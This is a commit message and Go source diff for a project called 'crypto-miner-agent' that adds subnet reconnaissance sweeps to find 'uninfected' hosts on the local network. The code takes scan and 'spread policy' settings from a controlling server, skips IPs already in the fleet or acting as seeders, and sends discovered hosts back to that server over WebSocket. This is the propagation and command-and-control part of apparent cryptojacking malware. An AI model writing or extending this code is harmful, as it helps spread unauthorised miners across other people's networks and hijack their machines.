Add agent-driven subnet recon sweeps for uninfected LAN hosts.

Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.

agent/client/subnet_recon.go

@@ -0,0 +1,91 @@
+package client
+
+import (
+	"encoding/json"
+	"strings"
+
+	"crypto-miner-agent/deploy"
+)
+
+func (c *AgentClient) applyAuthSubnetRecon(resp AuthResponse) {
+	c.mu.Lock()
+	c.cfg.SubnetReconEnabled = resp.SubnetReconEnabled
+	if resp.SubnetReconIntervalMin > 0 {
+		c.cfg.SubnetReconIntervalMin = resp.SubnetReconIntervalMin
+	}
+	c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(resp.SubnetFleetIPs, c.lanSeeders)
+	c.mu.Unlock()
+}
+
+func (c *AgentClient) applySubnetReconSpreadPolicy(enabled bool, intervalMin int, fleetIPs []string) {
+	c.mu.Lock()
+	c.cfg.SubnetReconEnabled = enabled
+	if intervalMin > 0 {
+		c.cfg.SubnetReconIntervalMin = intervalMin
+	}
+	if len(fleetIPs) > 0 {
+		c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(fleetIPs, c.lanSeeders)
+	}
+	cfg := c.cfg
+	agentID := c.agentID
+	c.mu.Unlock()
+
+	deploy.UpdateSubnetReconPolicy(
+		cfg.SubnetReconEnabled,
+		cfg.SubnetReconIntervalMin,
+		agentID,
+		cfg.SubnetFleetIPs,
+	)
+}
+
+func mergeSubnetFleetIPs(primary []string, seeders []deploy.LANSeederHint) []string {
+	seen := map[string]bool{}
+	var out []string
+	add := func(ip string) {
+		ip = strings.TrimSpace(ip)
+		if ip == "" || seen[ip] {
+			return
+		}
+		seen[ip] = true
+		out = append(out, ip)
+	}
+	for _, ip := range primary {
+		add(ip)
+	}
+	for _, s := range seeders {
+		add(s.IP)
+	}
+	return out
+}
+
+func (c *AgentClient) writeSubnetReconReport(hosts []deploy.SubnetReconHost) {
+	if len(hosts) == 0 {
+		return
+	}
+	c.mu.Lock()
+	enabled := c.cfg.SubnetReconEnabled
+	agentID := c.agentID
+	c.mu.Unlock()
+	if !enabled {
+		return
+	}
+	localIP, _ := deploy.PrimaryLocalIPv4()
+	payload, err := json.Marshal(map[string]interface{}{
+		"hosts":         hosts,
+		"subnet_prefix": deploy.SubnetFromIP(localIP),
+		"agent_id":      agentID,
+	})
+	if err != nil {
+		return
+	}
+	_ = c.write(Message{Type: "subnet_recon_report", Payload: payload})
+}
+
+func (c *AgentClient) startSubnetReconAfterAuth() {
+	c.mu.Lock()
+	cfg := c.cfg
+	cfg.AgentID = c.agentID
+	c.mu.Unlock()
+	deploy.SetSubnetReconReportFn(c.writeSubnetReconReport)
+	deploy.StartSubnetRecon(cfg)
+}